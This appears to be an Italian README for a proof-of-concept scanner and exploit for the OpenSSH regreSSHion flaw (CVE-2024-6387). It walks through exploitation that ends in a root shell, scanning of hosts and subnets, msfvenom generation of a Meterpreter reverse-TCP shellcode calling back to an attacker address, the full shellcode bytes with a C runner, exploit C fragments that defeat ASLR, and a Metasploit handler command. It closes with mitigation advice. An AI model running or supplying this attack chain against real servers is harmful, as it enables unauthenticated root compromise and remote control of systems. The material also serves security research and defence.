
PoC - Vulnerabilità di esecuzione remota di codice senza autenticazione nel server OpenSSH (Scanner ed Exploit)
CVE-2024-6387 - PoCNota: questo script è un prototipo PoC veloce; potrebbero verificarsi alcuni errori e bug. Testato su: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilità di esecuzione di codice remoto non autenticato nel server OpenSSH
È stata trovata una race condition nel gestore dei segnali nel server OpenSSH (sshd), in cui un client non si autentica entro LoginGraceTime secondi (120 di default, 600 nelle vecchie versioni di OpenSSH); quindi il gestore SIGALRM di sshd viene chiamato in modo asincrono. Tuttavia, questo gestore dei segnali chiama diverse funzioni che non sono async-signal-safe, ad esempio syslog().
Puoi trovare i dettagli tecnici qui.
La vulnerabilità, scoperta dai ricercatori di Qualys a maggio 2024 e a cui è stato assegnato l'identificativo CVE-2024-6387, è dovuta a una race condition nel gestore dei segnali in sshd che consente a un attaccante remoto non autenticato di eseguire codice arbitrario come root.
"Se un client non si autentica entro LoginGraceTime secondi (120 di default), allora il gestore SIGALRM di sshd viene chiamato in modo asincrono e chiama diverse funzioni che non sono async-signal-safe,"
"Un attaccante remoto non autenticato può sfruttare questa vulnerabilità per eseguire codice arbitrario con privilegi di root."
Requisito: ultima versione di python3
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22
██████╗ ██████╗ ███████╗███╗ ██╗███████╗███████╗██╗ ██╗
██╔═══██╗██╔══██╗██╔════╝████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██████╔╝█████╗ ██╔██╗ ██║███████╗███████╗███████║
██║ ██║██╔═══╝ ██╔══╝ ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║ ███████╗██║ ╚████║███████║███████║██║ ██║
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!
~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestione delle patch: Applicare rapidamente le patch disponibili per OpenSSH è fondamentale per chiudere la finestra di vulnerabilità. Un'applicazione tempestiva delle patch garantisce che gli exploit noti non possano essere sfruttati contro i tuoi sistemi, riducendo così la finestra di opportunità per gli attaccanti.
Controllo degli accessi potenziato: Limitare l'accesso SSH tramite controlli di rete aggiunge un ulteriore livello di difesa. Questo approccio riduce al minimo l'esposizione a potenziali attaccanti, limitando le connessioni SSH solo a reti o indirizzi IP autorizzati. L'implementazione di strumenti come regole firewall o l'uso di VPN per un accesso sicuro può far rispettare efficacemente queste restrizioni.
Segmentazione della rete: Dividere la rete in segmenti aiuta a contenere l'impatto di una potenziale violazione. Segmentando i sistemi critici e i dati sensibili dalle parti meno critiche della rete, si riduce il rischio di movimento laterale da parte degli attaccanti. Questa segmentazione può essere integrata con rigorosi controlli di accesso e monitoraggio per rilevare e rispondere a qualsiasi tentativo non autorizzato di violare questi segmenti.
Sistemi di rilevamento delle intrusioni (IDS): L'implementazione di IDS o sistemi di prevenzione delle intrusioni (IPS) consente il monitoraggio in tempo reale del traffico di rete e dei log di sistema. Questi sistemi possono rilevare attività sospette e potenziali tentativi di sfruttamento associati alla vulnerabilità regreSSHion. Gli avvisi generati da questi sistemi consentono un'indagine e una mitigazione tempestive prima che possano verificarsi danni significativi.
Monitoraggio dei tentativi di sfruttamento: Il monitoraggio continuo dei log di rete e di sistema è fondamentale. Cerca eventuali modelli o attività insoliti che potrebbero indicare un tentativo di sfruttare la vulnerabilità OpenSSH. Questo approccio proattivo aiuta a identificare e rispondere alle minacce prima che possano causare danni.